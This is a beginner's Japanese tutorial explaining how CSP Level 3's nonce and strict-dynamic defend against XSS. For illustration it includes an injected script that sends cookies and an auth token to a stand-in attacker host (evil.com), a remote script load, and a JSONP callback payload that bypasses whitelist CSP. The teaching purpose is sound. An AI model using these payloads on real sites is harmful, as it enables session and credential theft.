CSP Level 3によるXSS対策をわかりやすく解説!🛡️

この記事で学べること:
  • CSPがなぜ必要なのか
  • CSPがどのように動作するのか
  • なぜCSP Level 3が画期的なのか

🚨 まず、XSS攻撃について理解しよう

XSS(クロスサイトスクリプティング)とは?

XSSは、Webアプリケーションの脆弱性を利用して、攻撃者が用意した悪意のあるJavaScriptを、他のユーザーのブラウザで実行させる攻撃です。

具体例:掲示板サイトでの攻撃

<!-- 普通のユーザーの投稿 -->
<div class="comment">
  こんにちは!良い天気ですね。
</div>

<!-- 攻撃者の投稿(XSS攻撃) -->
<div class="comment">
  こんにちは!<script>
    // この悪意のあるスクリプトが実行されてしまう!
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify({
        cookies: document.cookie,
        localStorage: localStorage.getItem('authToken')
      })
    });
  </script>
</div>
この攻撃が成功すると:
  • 🍪 ログインクッキーが盗まれる
  • 🔑 認証トークンが盗まれる
  • 👤 なりすましでの投稿や操作が可能に
  • 💳 最悪の場合、クレジットカード情報なども危険に

🛡️ CSPの基本的な仕組み

CSPとは何か?

CSP(Content Security Policy)は、ブラウザに対して「どのJavaScriptなら実行してよいか」を指示する仕組みです。

[Webサーバー] → CSPルールを送信 → [ブラウザ] → ルールに従ってスクリプトを制御

CSPなしの場合 vs CSPありの場合

CSPなしの場合(危険!)

<!-- すべてのスクリプトが無条件で実行される -->
<script>alert('正常なスクリプト')</script>  ✅ 実行される
<script>alert('XSS攻撃!')</script>         ✅ 実行される(危険!)
<script src="https://evil.com/hack.js"></script>  ✅ 実行される(危険!)

CSPありの場合(安全!)

Content-Security-Policy: script-src 'self'
<!-- 自分のドメインのスクリプトのみ実行される -->
<script src="/js/app.js"></script>           ✅ 実行される(自分のドメイン)
<script>alert('インライン')</script>         ❌ ブロックされる
<script src="https://evil.com/hack.js"></script>  ❌ ブロックされる

CSPの設定方法

CSPは、HTTPレスポンスヘッダーで設定します:

# 基本的な例
Content-Security-Policy: default-src 'self'

# より詳細な例
Content-Security-Policy: 
  script-src 'self' https://trusted-cdn.com;
  style-src 'self' 'unsafe-inline';
  img-src *;

主要なディレクティブ:

📚 CSPの歴史と問題点

Level 2まで:ホワイトリスト方式

従来は「信頼できるドメインのリスト」を作って、そこからのJavaScriptだけを許可する方式でした。

Content-Security-Policy: script-src 'self' https://trusted.example.com

この設定では、自分のサイトとtrusted.example.comからのスクリプトのみ実行を許可します。

でも、実は穴だらけだった...😱

Googleの調査によると、94%のサイトが簡単に突破される状態でした!

なぜ突破されるの? - JSONPバイパスの仕組み

JSONPとは?

JSONPは、異なるドメイン間でデータをやり取りするための古い技術です。現在のCORS(Cross-Origin Resource Sharing)が登場する前に使われていました。

// 通常のAjax(同一オリジンポリシーでブロックされる)
fetch('https://api.example.com/data')  // ❌ 他のドメインなのでエラー

// JSONPを使った回避方法
// 1. グローバル関数を定義
window.myCallback = function(data) {
    console.log("データを受け取った:", data);
};

// 2. scriptタグで読み込む(scriptタグは他ドメインOK!)
<script src="https://api.example.com/jsonp?callback=myCallback"></script>

// 3. サーバーは関数呼び出しの形でレスポンスを返す
myCallback({"users": 100, "status": "ok"});
なぜJSONPがCSPを突破できるのか?
重要なポイント:callbackパラメータには任意の文字列を指定できる!
// 正常な使い方
https://trusted-cdn.com/jsonp?callback=myFunction
// レスポンス: myFunction({"data": "..."});

// 攻撃者の悪用
https://trusted-cdn.com/jsonp?callback=alert('XSS');//
// レスポンス: alert('XSS');//({"data": "..."});
//            ↑ これが実行される!  ↑ これはコメントになる

🚀 CSP Level 3 - 次世代のXSS対策

nonce + strict-dynamic

CSP Level 3では、nonce(Number used once)とstrict-dynamicの組み合わせで、より強固なセキュリティを実現します。

Level 3の特徴:
  • ✅ 毎回異なるnonceで、攻撃者は推測不可能
  • ✅ strict-dynamicで動的スクリプトも安全に実行
  • ✅ JSONPバイパスも完全にブロック
  • ✅ ドメインホワイトリストの管理が不要

実装例

// サーバー側でnonceを生成
const nonce = crypto.randomBytes(16).toString('base64');

// CSPヘッダーに設定
Content-Security-Policy: script-src 'nonce-${nonce}' 'strict-dynamic';

// HTMLのscriptタグに付与
<script nonce="${nonce}">
  // あなたのコード
</script>

📊 まとめ

項目 CSP Level 2 CSP Level 3
方式 ドメインホワイトリスト nonce + strict-dynamic
JSONPバイパス ❌ 脆弱 ✅ 安全
管理の手間 ドメインリストの管理が大変 nonceの生成のみ
動的スクリプト 個別に対応が必要 自動的に信頼される

🌟 最後に

CSPは「多層防御」の一部です。他のセキュリティ対策と組み合わせることで、より安全なWebアプリケーションを作ることができます。

エンジニア1年目の今から、セキュリティを意識したコーディングを心がけましょう!💪

📚 さらに学びたい方へ

実際のプロジェクトでCSP Level 3を実装する準備ができたら:

Next.jsでの実装ガイドを読む